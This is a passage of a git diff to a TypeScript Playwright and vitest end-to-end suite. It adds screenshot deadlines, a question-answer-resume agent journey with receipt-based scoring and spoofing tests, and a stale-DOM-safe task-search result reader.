=> { + const now = vi.spyOn(Date, "now").mockReturnValue(1000), f = fixture({ afterMount: () => { now.mockReturnValue(1050); } }); + await expect(captureProductScreenshot(f.page, origin, "shot.png", 1050)).rejects.toThrow("product_screen_unavailable"); + expect(f.screenshot).not.toHaveBeenCalled(); + }); + it("never disables a timeout when the campaign deadline has elapsed", async () => { + const f = fixture(); + await expect(captureProductScreenshot(f.page, origin, "shot.png", Date.now())).rejects.toThrow("product_screen_unavailable"); + expect(f.waitFor).not.toHaveBeenCalled(); expect(f.screenshot).not.toHaveBeenCalled(); }); }); diff --git a/tests/runner-e2e/product-journeys/product-screenshot.ts b/tests/runner-e2e/product-journeys/product-screenshot.ts index 14ae3d0a9c8..f8387e447e2 100644 --- a/tests/runner-e2e/product-journeys/product-screenshot.ts +++ b/tests/runner-e2e/product-journeys/product-screenshot.ts @@ -1,12 +1,22 @@ import type { Page } from "@playwright/test"; import { JourneyError } from "./types.js"; -export async function captureProductScreenshot(page: Page, origin: string, file: string) { - const url = new URL(page.url()); - if (url.origin !== origin || !/^\/[^/]+\/(issues|search)(\/|$)/.test(url.pathname)) throw new JourneyError("failed", "product_screen_unavailable"); +export async function captureProductScreenshot(page: Page, origin: string, file: string, deadlineAt = Date.now() + 10_000) { + const permitted = () => { + const url = new URL(page.url()); + return url.origin === origin && /^\/[^/]+\/(issues|search)(\/|$)/.test(url.pathname); + }; + const timeout = (maximum: number) => { + const remaining = deadlineAt - Date.now(); + if (remaining <= 0) throw new JourneyError("failed", "product_screen_unavailable"); + return Math.min(maximum, remaining); + }; + if (!permitted() || deadlineAt <= Date.now()) throw new JourneyError("failed", "product_screen_unavailable"); // CloudAccessGate replaces Layout on expiry without necessarily changing the // URL. Capture Layout's main element, so auth screens can never be included. const product = page.locator("main#main-content"); - if (!await product.isVisible()) throw new JourneyError("failed", "product_screen_unavailable"); - await product.screenshot({ path: file, timeout: 2000 }); + try { await product.waitFor({ state: "visible", timeout: timeout(10_000) }); } + catch { throw new JourneyError("failed", "product_screen_unavailable"); } + if (!permitted() || !await product.isVisible() || deadlineAt <= Date.now()) throw new JourneyError("failed", "product_screen_unavailable"); + await product.screenshot({ path: file, timeout: timeout(2000) }); } diff --git a/tests/runner-e2e/product-journeys/success-contract.ts b/tests/runner-e2e/product-journeys/success-contract.ts index 8e68da0a091..f49db32a938 100644 --- a/tests/runner-e2e/product-journeys/success-contract.ts +++ b/tests/runner-e2e/product-journeys/success-contract.ts @@ -1,12 +1,22 @@ /** Closed, target-independent success requirements used by dispatch and retained evidence. */ export const agentJourneyRuns = { "ask-question": 1, "plan-revise-accept": 3, "build-revise": 2, - "protected-actions": 4, "create-skill-studio": 1, "stop-redirect": 3 } as const; + "protected-actions": 4, "create-skill-studio": 1, "stop-redirect": 3, "question-answer-resume": 3 } as const; + +export function agentJourneyRunCountValid(id: string, count: unknown): boolean { + if (!Object.hasOwn(agentJourneyRuns, id) || !Number.isSafeInteger(count)) return false; + const maximum = agentJourneyRuns[id as keyof typeof agentJourneyRuns]; + const minimum = id === "question-answer-resume" ? 1 : maximum; + return (count as number) >= minimum && (count as number) <= maximum; +} export const journeyRequiredChecks: Record = { "task-properties": ["assignment-persisted", "no-agent-work"], "task-create": ["browser-created-task-persisted", "no-agent-work"], "project-task-context": ["browser-created-project-persisted", "browser-created-project-task-persisted", "project-task-association-reloaded", "project-task-context-visible", "no-agent-work"], "task-search-filter": ["task-search-results-exact", "task-status-filter-excludes-controls", "task-search-filter-reloaded", "task-search-result-reopened", "no-agent-work"], "ask-question": ["question-answer-persisted", "one-bound-successful-run", "configured-model-and-environment"], + "question-answer-resume": ["question-resume.forms", "question-resume.choice.answer", "question-resume.choice.path", + "question-resume.text.answer", "question-resume.text.path", "question-resume.complete-evidence", "question-no-premature-output", + "question-answers-owned-by-board", "question-document-attributed", "question-document-reloaded", "configured-model-and-environment"], "plan-revise-accept": ["plan-revision-and-approval", "plan-final-answer", "configured-model-and-environment"], "build-revise": ["initial-artifact-verified", "revised-artifact-verified", "artifact-versions-differ", "original-artifact-preserved", "user-reply-stored-once", "configured-model-and-environment"], "protected-actions": ["approve-waited-for-decision", "approve-decision-persisted", "approve-service-call-count", "approved-service-data-used", diff --git a/tests/runner-e2e/product-journeys/task-search-filter.test.ts b/tests/runner-e2e/product-journeys/task-search-filter.test.ts index d4646725f38..5753f30d727 100644 --- a/tests/runner-e2e/product-journeys/task-search-filter.test.ts +++ b/tests/runner-e2e/product-journeys/task-search-filter.test.ts @@ -16,9 +16,9 @@ vi.mock("@playwright/test", () => ({ expect: Object.assign( type Fault = "ignore-search" | "ignore-status" | "duplicate-result" | "unknown-result" | "reload-query" | "reload-status" | "back-query" | "back-status" | "wrong-route" | "reload-content" | "saved-company" | "saved-description" | "target-run" | "control-run" | "missing-run-evidence" - | "intent" | "receipt" | "missing-identifier" | "ignore-named-view"; + | "intent" | "receipt" | "missing-identifier" | "ignore-named-view" | "detached-snapshot"; type UiNode = { key: string; role?: string; name?: string; title?: string; text?: string; href?: string; - visible?: boolean; children?: UiNode[]; click?(): void; fill?(value: string): void; check?(): void; + visible?: boolean; connected?: boolean; children?: UiNode[]; click?(): void; fill?(value: string): void; check?(): void; value?(): string; checked?(): boolean }; type CollectionState = { query: string; backlog: boolean }; @@ -59,6 +59,7 @@ function fixture(fault?: Fault, shell: "coordinator" | "streamlined" | "legacy" }; const links = (): UiNode[] => displayedId || !allTasks ? [] : visibleTasks().map((task, index) => ({ key: `task-${task.id}-${index}`, role: "link", name: task.title, text: task.title, + connected: fault !== "detached-snapshot" || task.id !== "task-2", href: `/QA/issues/${task.identifier}`, click: () => openTask(task), })); const nodes = (): UiNode[] => { @@ -107,7 +108,10 @@ function fixture(fault?: Fault, shell: "coordinator" | "streamlined" | "legacy" resolve, or(other: { resolve(): UiNode[] }) { return locator(() => [...new Map([...resolve(), ...other.resolve()].map(node => [node.key, node])).values()]); }, first() { return locator(() => resolve().slice(0, 1)); }, - filter({ hasText }: { hasText: string }) { return locator(() => resolve().filter(node => node.text?.includes(hasText))); }, + filter({ hasText, visible }: { hasText?: string; visible?: boolean }) { + return locator(() => resolve().filter(node => (hasText === undefined || node.text?.includes(hasText)) + && (visible !== true || node.visible !== false))); + }, locator(selector: string) { if (selector !== "..") throw Error(`Unsupported control-relative selector: ${selector}`); return locator(() => { @@ -122,6 +126,10 @@ function fixture(fault?: Fault, shell: "coordinator" | "streamlined" | "legacy" return locator(() => flatten(resolve().flatMap(node => node.children ?? [])).filter(node => node.role === role && matches(node.name, name))); }, async all() { return resolve().map(node => locator(() => [node])); }, + async evaluateAll(read: (nodes: Array<{ isConnected: boolean; getAttribute(name: string): string | null }>) => R) { + return read(resolve().map(node => ({ isConnected: node.connected !== false, + getAttribute(name: string) { expect(name).toBe("href"); return node.href ?? null; } }))); + }, async isVisible() { return resolve().length > 0; }, async getAttribute(name: string) { expect(name).toBe("href"); return unique().href ?? null; }, async inputValue() { const read = unique().value; if (!read) throw Error("Not an input"); return read(); }, @@ -229,7 +237,7 @@ describe("taskSearchFilter browser journey", () => { expect(test.evidence.checks).toEqual([]); }); it.each(["ignore-search", "ignore-status", "duplicate-result", "unknown-result", "reload-query", "reload-status", - "back-query", "back-status", "reload-content"])("does not report success when the UI has %s", async fault => { + "back-query", "back-status", "reload-content", "detached-snapshot"])("does not report success when the UI has %s", async fault => { const test = fixture(fault); await expect(test.run()).rejects.toThrow(); expect(test.evidence.checks.some(check => check.passed)).toBe(false); diff --git a/tests/runner-e2e/product-journeys/task-search-filter.ts b/tests/runner-e2e/product-journeys/task-search-filter.ts index 2bdabcb0061..245e031f1ee 100644 --- a/tests/runner-e2e/product-journeys/task-search-filter.ts +++ b/tests/runner-e2e/product-journeys/task-search-filter.ts @@ -12,20 +12,21 @@ export function taskSearchBacklogCheckbox(filters: Locator) { .getByRole("checkbox", { name: /^Backlog(?:\s*Backlog)?$/ }); } -async function resultIds(page: Page, tasks: readonly SearchTask[]) { - const ids: string[] = []; - for (const link of await page.locator("main#main-content a[data-inbox-issue-link]").all()) { - if (!await link.isVisible()) continue; - const href = await link.getAttribute("href"); +export async function taskSearchResultIds(page: Page, tasks: readonly SearchTask[]) { + // Read the matched nodes together. Indexed locators from all() can disappear + // between isVisible() and getAttribute() while the search replaces its rows. + const hrefs = await page.locator("main#main-content a[data-inbox-issue-link]").filter({ visible: true }) + .evaluateAll(links => links.some(link => !link.isConnected) ? null : links.map(link => link.getAttribute("href"))); + if (hrefs === null) return []; + return hrefs.map(href => { const identifier = href ? decodeURIComponent(new URL(href, page.url()).pathname.split("/").at(-1)!) : ""; - ids.push(tasks.find(task => task.identifier === identifier || task.id === identifier)?.id ?? `unknown:${identifier}`); - } - return ids.sort(); + return tasks.find(task => task.identifier === identifier || task.id === identifier)?.id ?? `unknown:${identifier}`; + }).sort(); } -async function expectResults(page: Page, tasks: readonly SearchTask[], expectedIds: readonly string[]) { +export async function expectResults(page: Page, tasks: readonly SearchTask[], expectedIds: readonly string[]) { let observed: string[] = []; - await expect.poll(async () => { observed = await resultIds(page, tasks); return observed; }, { timeout: 30_000 }) + await expect.poll(async () => { observed = await taskSearchResultIds(page, tasks); return observed; }, { timeout: 30_000 }) .toEqual([...expectedIds].sort()); return observed; } diff --git a/tests/runner-e2e/product-journeys/types.ts b/tests/runner-e2e/product-journeys/types.ts index ec7746cf303..0f899efca5e 100644 --- a/tests/runner-e2e/product-journeys/types.ts +++ b/tests/runner-e2e/product-journeys/types.ts @@ -3,8 +3,7 @@ import type { ConnectionApi } from "../connection-target.js"; export type JourneyOutcome = "passed" | "failed" | "blocked" | "unsupported"; export type JourneyId = "task-properties" | "task-create" | "project-task-context" | "ask-question" | "cloud-onboarding" - | "task-search-filter" - | "plan-revise-accept" | "build-revise" | "protected-actions" | "create-skill-studio" | "stop-redirect"; + | "question-answer-resume" | "task-search-filter" | "plan-revise-accept" | "build-revise" | "protected-actions" | "create-skill-studio" | "stop-redirect"; export type TargetMode = "managed-self-hosted" | "existing-cloud" | "new-cloud"; export interface DeploymentIdentity { kind: "self-hosted" | "cloud"; diff --git a/tests/runner-e2e/question-resume-scoring.ts b/tests/runner-e2e/question-resume-scoring.ts index 10e3f81e6bc..85f8902d95e 100644 --- a/tests/runner-e2e/question-resume-scoring.ts +++ b/tests/runner-e2e/question-resume-scoring.ts @@ -3,14 +3,33 @@ import type { ContinuationCheckpoint } from "./continuation-scoring.js"; import { isSingleClaudeQuestion } from "./runtime-question-readiness.js"; type Row = Record; -export type QuestionPath = "provider" | "semantic"; +export type QuestionPath = "provider" | "semantic" | "api"; const nonempty = (v: unknown): v is string => typeof v === "string" && v.trim().length > 0; const questions = (c?: ContinuationCheckpoint): Row[] => (c?.interactions ?? []).filter((i: any) => i.kind === "ask_user_questions") as Row[]; export const resumeQuestionFields = (i?: Row): Row[] => Array.isArray(i?.payload?.questionSet?.questions) ? i.payload.questionSet.questions : []; -/** Classify by server-owned identities and the applied semantic receipt. A +function nativeApiQuestionReceipt(run: Row | undefined, question: Row) { + const hash = (value: unknown) => typeof value === "string" && /^[a-f0-9]{64}$/.test(value); + return Object.entries(run?.resultJson?.apiToolReceipts ?? {}).find(([key, value]) => { + const receipt = value as Row, original = receipt?.result?.data; + return hash(key) && hash(receipt?.digest) && receipt?.state === "completed" + && receipt.operationId === "POST /api/issues/{id}/interactions" && receipt.result?.operationId === receipt.operationId + && receipt.result.ok === true && receipt.result.status === 201 && original?.status === "pending" + && original.kind === "ask_user_questions" && original.createdByUserId === null && question.createdByUserId === null + && sameQuestion(original, question); + }); +} + +function sameNativeApiQuestionReceipt(before: ContinuationCheckpoint | undefined, after: ContinuationCheckpoint | undefined, question?: Row) { + if (!question) return false; + const receipt = nativeApiQuestionReceipt(before?.runs.find(run => run.id === question.sourceRunId), question); + return !!receipt && isDeepStrictEqual(receipt, + nativeApiQuestionReceipt(after?.runs.find(run => run.id === question.sourceRunId), question)); +} + +/** Classify by server-owned identities and an applied native mutation receipt. A * missing receipt is unknown, never inferred from form shape or run count. */ export function questionPath(checkpoint: ContinuationCheckpoint | undefined, i?: Row): QuestionPath | null { if (!checkpoint || !i || !nonempty(i.id) || !nonempty(i.sourceRunId) || !nonempty(i.idempotencyKey)) return null; @@ -29,11 +48,13 @@ export function questionPath(checkpoint: ContinuationCheckpoint | undefined, i?: } const receipt = run.resultJson?.semanticToolReceipts?.[i.idempotencyKey]; const created = receipt?.result?.interaction; - return run.status === "succeeded" && i.continuationPolicy === "wake_assignee" && + if (run.status !== "succeeded" || i.continuationPolicy !== "wake_assignee") return null; + if ( receipt?.operationId === "request_human_input" && receipt.result?.disposition === "applied" && created?.id === i.id && created?.sourceRunId === run.id && created?.issueId === i.issueId && created?.companyId === i.companyId && created?.kind === "ask_user_questions" && - isDeepStrictEqual(created?.payload?.questionSet, i.payload?.questionSet) ? "semantic" : null; + isDeepStrictEqual(created?.payload?.questionSet, i.payload?.questionSet)) return "semantic"; + return nativeApiQuestionReceipt(run, i) ? "api" : null; } export function validResumeQuestionForm(checkpoint: ContinuationCheckpoint, i: Row, choice: boolean): boolean { @@ -62,14 +83,15 @@ export function questionResumedOnce(before: ContinuationCheckpoint | undefined, before.runs.some(r => !after.runs.some(n => n.id === r.id))) return false; if (path === "provider") return next.length === 0 && after.runs.some(r => r.id === i.sourceRunId && ["running", "succeeded"].includes(r.status)); - if (path !== "semantic" || next.length !== 1) return false; + if ((path !== "semantic" && path !== "api") || next.length !== 1) return false; + if (path === "api" && !sameNativeApiQuestionReceipt(before, after, i)) return false; const context = next[0].contextSnapshot; return context?.issueId === i.issueId && context?.sourceRunId === i.sourceRunId && context?.interactionId === i.id && context?.interactionKind === "ask_user_questions" && context?.interactionStatus === "answered"; } -/** Behavioral qualification supports either valid native path. It does not +/** Behavioral qualification supports each verified native path. It does not * replace the separate documentation-placement/semantic-tool qualification. */ export function gradeQuestionResume(checkpoints: ContinuationCheckpoint[], marker: string) { const initial = checkpoints.find(c => c.phase === "initial"); @@ -112,8 +134,9 @@ export function gradeQuestionResume(checkpoints: ContinuationCheckpoint[], marke detail: "The real board answer must remain bound to the unchanged question, with no fabricated or substituted response.", }, { id: `question-resume.${answer}.path`, - passed: questionResumedOnce(before, after, i), - detail: `Observed path: ${questionPath(before, i) ?? "unknown"}; provider answers resume the same run; semantic answers require one exactly bound response wake.`, + passed: questionResumedOnce(before, after, i) && + (questionPath(before, i) !== "api" || sameNativeApiQuestionReceipt(before, final, i)), + detail: `Observed path: ${questionPath(before, i) ?? "unknown"}; provider answers resume the same run; durable native questions require one exactly bound response wake.`, }); } checks.push({ diff --git a/tests/runner-e2e/question-resume-ui.ts b/tests/runner-e2e/question-resume-ui.ts new file mode 100644 index 00000000000..ac6fa3f9de8 --- /dev/null +++ b/tests/runner-e2e/question-resume-ui.ts @@ -0,0 +1,23 @@ +import { expect, type Page } from "@playwright/test"; +import { chatQuestionPresentation } from "./chat-flow.js"; + +type Row = Record; + +export async function answerResumeQuestionThroughUi(page: Page, interaction: Row, input: { choice: string } | { text: string }) { + const set = chatQuestionPresentation(interaction.payload); + if ("choice" in input) { + expect(set.questions[0]?.answerMode, "choices must use radio controls").toBe("single_select"); + const options = interaction.payload.questionSet?.questions[0]?.options ?? interaction.payload.questions[0]?.options ?? []; + expect(new Set(options.map((o: Row) => String(o.label).trim().toLowerCase())).size).toBeGreaterThanOrEqual(2); + const choice = input.choice.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + await page.getByRole("radio", { name: new RegExp(`^${choice}\\b`, "i") }).last().click(); + } else { + expect(set.questions[0]?.answerMode, "open answers must render a text field, not a choice question").toBe("text"); + await page.getByTestId("question-text-answer-composer").last() + .locator('[contenteditable="true"],textarea').first().fill(input.text); + } + for (let index = 1; index < set.questions.length; index += 1) { + await page.getByRole("button", { name: "Next", exact: true }).last().click(); + } + await page.getByRole("button", { name: set.submitLabel ?? "Submit answers", exact: true }).last().click(); +} diff --git a/tests/runner-e2e/question-resume.test.ts b/tests/runner-e2e/question-resume.test.ts index 525bce0c199..bded4d1c8d2 100644 --- a/tests/runner-e2e/question-resume.test.ts +++ b/tests/runner-e2e/question-resume.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; import { gradeQuestionResume, questionPath, validResumeQuestionForm, type QuestionPath } from "./question-resume-scoring.js"; import { gradeContinuation } from "./continuation-scoring.js"; import { gradeLifecycleBaseline } from "./lifecycle-baseline.js"; @@ -26,7 +27,7 @@ function recording(paths: QuestionPath[] = ["provider", "semantic"]) { }; for (let n = 0; n < 2; n++) { const run = runs.at(-1)!; - const provider = paths[n] === "provider"; + const provider = paths[n] === "provider", api = paths[n] === "api"; const request = `request-${n}`; const idempotencyKey = provider ? `paperclip-runner-question:${run.id}:${request}` : `question-${n}`; const field = n === 0 ? { id: "field-1-question_0-hash", answerMode: "single_select", options: [ @@ -36,12 +37,15 @@ function recording(paths: QuestionPath[] = ["provider", "semantic"]) { if (provider && n === 0) questions.push({ id: "field-2-question_0_custom-hash", answerMode: "text", header: "Other", required: false }); const card: Row = { id: `card-${n}`, kind: "ask_user_questions", status: "pending", companyId: "company", issueId: "task", createdByAgentId: "agent", sourceRunId: run.id, idempotencyKey, - continuationPolicy: provider ? "none" : "wake_assignee", + continuationPolicy: provider ? "none" : "wake_assignee", createdByUserId: null, payload: { ...(provider ? { runtimeRequestId: request } : {}), questionSet: { questions } } }; cards.push(card); if (!provider) { run.status = "succeeded"; - run.resultJson.semanticToolReceipts[idempotencyKey] = { operationId: "request_human_input", + if (api) run.resultJson.apiToolReceipts = { ["a".repeat(64)]: { state: "completed", digest: "b".repeat(64), + operationId: "POST /api/issues/{id}/interactions", result: { ok: true, status: 201, + operationId: "POST /api/issues/{id}/interactions", data: structuredClone(card) } } }; + else run.resultJson.semanticToolReceipts[idempotencyKey] = { operationId: "request_human_input", result: { disposition: "applied", interaction: structuredClone(card) } }; } snap(n === 0 ? "initial" : "answered"); @@ -58,6 +62,58 @@ const failed = (r: any[]) => gradeQuestionResume(r, "AMBERnonce").filter(c => !c const question = (r: any[], n = 0) => r[n].interactions[n]; describe("native question/resume path qualification", () => { + it("accepts a native API creation receipt with the retained server response shape", () => { + const point = JSON.parse(readFileSync(new URL("./fixtures/native-api-question.json", import.meta.url), "utf8")); + expect(questionPath(point, point.interactions[0])).toBe("api"); + expect(validResumeQuestionForm(point, point.interactions[0], true)).toBe(true); + }); + it.each(["missing", "pending", "wrong-operation", "wrong-result-operation", "unknown-outcome", "wrong-status", "missing-digest", "wrong-key", + "foreign-card", "foreign-company", "foreign-issue", "foreign-agent", "foreign-source", "wrong-idempotency", "changed-form", "changed-compatibility-form", + "board-created", "resolved-creation", "wrong-policy", "runtime-request", "legacy-run", "active-source", "foreign-run", "duplicate-source", "spoofed-store"])("rejects unverified native API provenance: %s", kind => { + const point = JSON.parse(readFileSync(new URL("./fixtures/native-api-question.json", import.meta.url), "utf8")); + const card = point.interactions[0], run = point.runs[0], receipts = run.resultJson.apiToolReceipts; + const receipt = Object.values(receipts)[0] as Row, original = receipt.result.data; + if (kind === "missing") delete run.resultJson.apiToolReceipts; + if (kind === "pending") receipt.state = "pending"; + if (kind === "wrong-operation") receipt.operationId = "POST /api/issues/{id}/comments"; + if (kind === "wrong-result-operation") receipt.result.operationId = "POST /api/issues/{id}/comments"; + if (kind === "unknown-outcome") receipt.result.ok = false; + if (kind === "wrong-status") receipt.result.status = 200; + if (kind === "missing-digest") delete receipt.digest; + if (kind === "wrong-key") run.resultJson.apiToolReceipts = { "model-authored-claim": receipt }; + if (kind === "foreign-card") original.id = "other"; + if (kind === "foreign-company") original.companyId = "other"; + if (kind === "foreign-issue") original.issueId = "other"; + if (kind === "foreign-agent") original.createdByAgentId = "other"; + if (kind === "foreign-source") original.sourceRunId = "other"; + if (kind === "wrong-idempotency") original.idempotencyKey = "other"; + if (kind === "changed-form") original.payload.questionSet.questions[0].options[1].label = "Other"; + if (kind === "changed-compatibility-form") original.payload.questions[0].prompt = "Other"; + if (kind === "board-created") original.createdByUserId = "other"; + if (kind === "resolved-creation") original.status = "answered"; + if (kind === "wrong-policy") card.continuationPolicy = "none"; + if (kind === "runtime-request") card.payload.runtimeRequestId = "fabricated-provider-request"; + if (kind === "legacy-run") run.runtimeMode = "legacy"; + if (kind === "active-source") run.status = "running"; + if (kind === "foreign-run") run.agentId = "other"; + if (kind === "duplicate-source") point.runs.push(structuredClone(run)); + if (kind === "spoofed-store") { run.resultJson.modelClaim = receipts; delete run.resultJson.apiToolReceipts; } + expect(questionPath(point, card)).toBeNull(); + }); + it.each(["lost-receipt", "changed-receipt", "interactionId", "sourceRunId", "issueId", "interactionStatus", "duplicate-continuation"])("retains one immutable API receipt and one bound answer wake: %s", kind => { + const r = recording(["api", "api"]), source = r[1].runs[0], next = r[1].runs[1]; + if (kind === "lost-receipt") delete source.resultJson.apiToolReceipts; + else if (kind === "changed-receipt") source.resultJson.apiToolReceipts["a".repeat(64)].digest = "c".repeat(64); + else if (kind === "duplicate-continuation") r[1].runs.push({ ...structuredClone(next), id: "extra" }); + else next.contextSnapshot[kind] = "other"; + expect(failed(r)).toContain("question-resume.choice.path"); + }); + it.each(["lost", "changed"])("rejects the first API receipt %s after the second answer", kind => { + const r = recording(["api", "api"]), source = r[2].runs[0]; + if (kind === "lost") delete source.resultJson.apiToolReceipts; + else source.resultJson.apiToolReceipts["a".repeat(64)].digest = "c".repeat(64); + expect(failed(r)).toContain("question-resume.choice.path"); + }); it("keeps the new journey explicit-only and the original documentation cells intact", () => { const cells = runnerMatrix.filter(c => c.suite.id === "question-resume"); expect(cells.map(c => c.profile.id).sort()).toEqual(["runner-acpx-claude", "runner-codex"]); @@ -70,6 +126,7 @@ describe("native question/resume path qualification", () => { }); it.each([ ["provider", "provider"], ["provider", "semantic"], ["semantic", "provider"], ["semantic", "semantic"], + ["api", "api"], ["api", "semantic"], ["semantic", "api"], ["provider", "api"], ["api", "provider"], ] as QuestionPath[][])("accepts exactly bound %s then %s journeys", (a, b) => { const r = recording([a,b]); expect(failed(r)).toEqual([]); diff --git a/tests/runner-e2e/result-validation.ts b/tests/runner-e2e/result-validation.ts index 8399905bf7e..d85b195394e 100644 --- a/tests/runner-e2e/result-validation.ts +++ b/tests/runner-e2e/result-validation.ts @@ -1,4 +1,4 @@ -import { agentJourneyRuns, journeyRequiredChecks } from "./product-journeys/success-contract.js"; +import { agentJourneyRuns, agentJourneyRunCountValid, journeyRequiredChecks } from "./product-journeys/success-contract.js"; import { validateWorkerTiming } from "./worker-timing.js"; import { connectionCheckpoints, connectionEvidencePasses, connectionRunSignals } from "./connection-evidence.js"; import { githubJourneyCheckpoints, gradeGitHubReviewJourney } from "./github-review-evidence.js"; @@ -435,7 +435,7 @@ export function validateRetainedRunnerResult( const required = journeyRequiredChecks[checked.caseId]; if (evidence.outcome !== "passed" || !evidence.deployment || !required || !required.every(id => evidence.checks.some(c => c.id === id && c.passed)) || evidence.checks.some(check => !check.passed) || evidence.phases.some(p => p.outcome !== "passed") || checked.cleanup !== "passed") invalid("result.productJourney"); if (["task-properties", "task-create", "project-task-context", "task-search-filter"].includes(checked.caseId) && (checked.runtimeMode !== "none" || checked.provider !== null || checked.model !== null || checked.runIds?.length)) invalid("result.browserOnly"); - if (Object.hasOwn(agentJourneyRuns, checked.caseId) && (checked.runIds?.length !== agentJourneyRuns[checked.caseId as keyof typeof agentJourneyRuns] + if (Object.hasOwn(agentJourneyRuns, checked.caseId) && (!agentJourneyRunCountValid(checked.caseId, checked.runIds?.length) || !checked.model || !checked.provider || checked.runtimeMode !== "native")) invalid("result.agentJourneyRun"); if (checked.caseId === "cloud-onboarding" && (!checked.runIds?.length || !evidence.operations || !evidence.operations.requestCount || !evidence.operations.traceIds.length || evidence.operations.campaignId !== evidence.campaignId || evidence.operations.attemptId !== evidence.attemptId)) invalid("result.paidJourneyReceipt"); } diff --git a/tests/runner-e2e/task-search-filter.spec.ts b/tests/runner-e2e/task-search-filter.spec.ts index 3dc8a2172f9..ce0df6860a9 100644 --- a/tests/runner-e2e/task-search-filter.spec.ts +++ b/tests/runner-e2e/task-search-filter.spec.ts @@ -1,5 +1,6 @@ -import { expect, test } from "@playwright/test"; -import { taskSearchBacklogCheckbox } from "./product-journeys/task-search-filter.js"; +import { expect, test, type Locator, type Page } from "@playwright/test"; +import { expectResults, taskSearchBacklogCheckbox, taskSearchResultIds } from "./product-journeys/task-search-filter.js"; +import type { SearchTask } from "./product-journeys/task-search-evidence.js"; // Reproduce the observed Radix checkbox + StatusIcon + visible text label. // No app server, provider, browser profile, or target credentials are involved. @@ -31,3 +32,100 @@ for (const presentation of ["legacy", "spaced-legacy", "refreshed"] as const) { await expect(page.locator("#assignee-backlog")).not.toBeChecked(); }); } + +const searchTasks: SearchTask[] = ["target", "status-control", "search-control"].map((name, index) => ({ + id: name, identifier: `QA-${index + 1}`, companyId: "company", title: name, description: `${name} context`, + status: index === 1 ? "done" : "backlog", assigneeUserId: "board", assigneeAgentId: null, +})); +const taskLink = (task: SearchTask) => `${task.title}`; + +test("task search readback survives a search rerender that removes an observed row", async ({ page }) => { + page.setDefaultTimeout(150); // Bound only the reproduced stale-index wait. + await page.setContent(`
${searchTasks.map(taskLink).join("")}
`); + let transitions = 0; + let batches = 0; + let detachedReads = 0; + let invalidReads = 0; + const transition = async () => { + if (transitions++) return; + await page.locator("main#main-content").evaluate((main, html) => { main.innerHTML = html; }, searchTasks.slice(0, 2).map(taskLink).join("")); + }; + // Keep browser operations and the journey's poll real. Hold actual DOM nodes + // across the first render so the reader must recover from a detached batch. + const withTransition = (source: Locator): Locator => new Proxy(source, { + get(object, property, receiver) { + if (property === "all") return async () => (await object.all()).map((row, index) => index !== 2 ? row : new Proxy(row, { + get(element, operation, elementReceiver) { + if (operation === "isVisible") return async (...args: Parameters) => { + const visible = await element.isVisible(...args); + if (visible) await transition(); + return visible; + }; + const value = Reflect.get(element, operation, elementReceiver); + return typeof value === "function" ? value.bind(element) : value; + }, + })); + if (property === "filter") return (...args: Parameters) => withTransition(object.filter(...args)); + if (property === "evaluateAll") return async (...args: Parameters) => { + batches++; + if (batches === 1) { + const held = await page.evaluateHandle(() => Array.from(document.querySelectorAll("main#main-content a[data-inbox-issue-link]"))); + try { + await transition(); + const detached = await held.evaluate(...args); + expect(detached).toBeNull(); + detachedReads++; + // A later connected snapshot can still be wrong. The same poll + // must reject its extra control before accepting the final pair. + await page.locator("main#main-content").evaluate((main, html) => { main.innerHTML = html; }, searchTasks.map(taskLink).join("")); + return detached; + } finally { await held.dispose(); } + } + const result = await object.evaluateAll(...args); + if (batches === 2) { + expect(result).toHaveLength(3); + invalidReads++; + await page.locator("main#main-content").evaluate((main, html) => { main.innerHTML = html; }, searchTasks.slice(0, 2).map(taskLink).join("")); + } + return result; + }; + const value = Reflect.get(object, property, receiver); + return typeof value === "function" ? value.bind(object) : value; + }, + }); + const observedPage = new Proxy(page, { + get(object, property, receiver) { + if (property === "locator") return (...args: Parameters) => withTransition(object.locator(...args)); + const value = Reflect.get(object, property, receiver); + return typeof value === "function" ? value.bind(object) : value; + }, + }); + await expect(expectResults(observedPage, searchTasks, ["target", "status-control"])) + .resolves.toEqual(["status-control", "target"]); + expect(transitions).toBe(1); + expect(detachedReads).toBe(1); + expect(invalidReads).toBe(1); + expect(batches).toBe(3); + await expect(page.locator("a[data-inbox-issue-link]")).toHaveCount(2); +}); + +for (const fixture of [ + { name: "extra owned control", html: searchTasks.map(taskLink).join(""), ids: ["search-control", "status-control", "target"] }, + { name: "duplicate target", html: [...searchTasks.slice(0, 2), searchTasks[0]!].map(taskLink).join(""), ids: ["status-control", "target", "target"] }, + { name: "unknown destination", html: searchTasks.slice(0, 2).map(taskLink).join("") + taskLink({ ...searchTasks[2]!, identifier: "QA-99" }), ids: ["status-control", "target", "unknown:QA-99"] }, + { name: "wrong target destination", html: taskLink(searchTasks[1]!) + taskLink({ ...searchTasks[0]!, identifier: "QA-2" }), ids: ["status-control", "status-control"] }, +]) { + test(`task search snapshot preserves invalid evidence: ${fixture.name}`, async ({ page }) => { + await page.setContent(`
${fixture.html}
`); + const ids = await taskSearchResultIds(page, searchTasks); + expect(ids).toEqual(fixture.ids); + expect(ids).not.toEqual(["status-control", "target"]); + }); +} + +test("task search snapshot retains the existing visible-link scope", async ({ page }) => { + await page.setContent(`
${searchTasks.slice(0, 2).map(taskLink).join("")} +
+ ${taskLink({ ...searchTasks[2]!, identifier: "QA-99" })}`); + expect(await taskSearchResultIds(page, searchTasks)).toEqual(["status-control", "target"]); +}); diff --git a/tests/runner-e2e/testops-chat-reporter.mjs b/tests/runner-e2e/testops-chat-reporter.mjs index 75bd096a6d8..a955e631ccc 100644 --- a/tests/runner-e2e/testops-chat-reporter.mjs +++ b/tests/runner-e2e/testops-chat-reporter.mjs @@ -1,8 +1,10 @@ +import { execFile } from 'node:child_process'; +import { promisify } from 'node:util'; import { createHash } from 'node:crypto'; import { appendFile, lstat, readFile, realpath, writeFile } from 'node:fs/promises'; import path from 'node:path'; import { pathToFileURL } from 'node:url'; -import { publicContext, aliases, executionId, scenario } from './chat-feature-testops-api.mjs'; +import { publicContext, aliases, executionId, scenario, endpoint, testopsClient, bootstrapJobMetadata, failureProjection } from './chat-feature-testops-api.mjs'; import { run } from './chat-feature-testops-cli.mjs'; const hash = bytes => createHash('sha256').update(bytes).digest('hex'); const fail = () => { throw new Error('chat_testops_selection_rejected'); }; @@ -34,8 +36,67 @@ export async function verifySelectionFile(file, env) { return (await readVerifiedSelection(file, env)).value; } -export async function reporter(command, argument, env = process.env, fetchImpl = fetch) { +const officialExec = promisify(execFile); +class 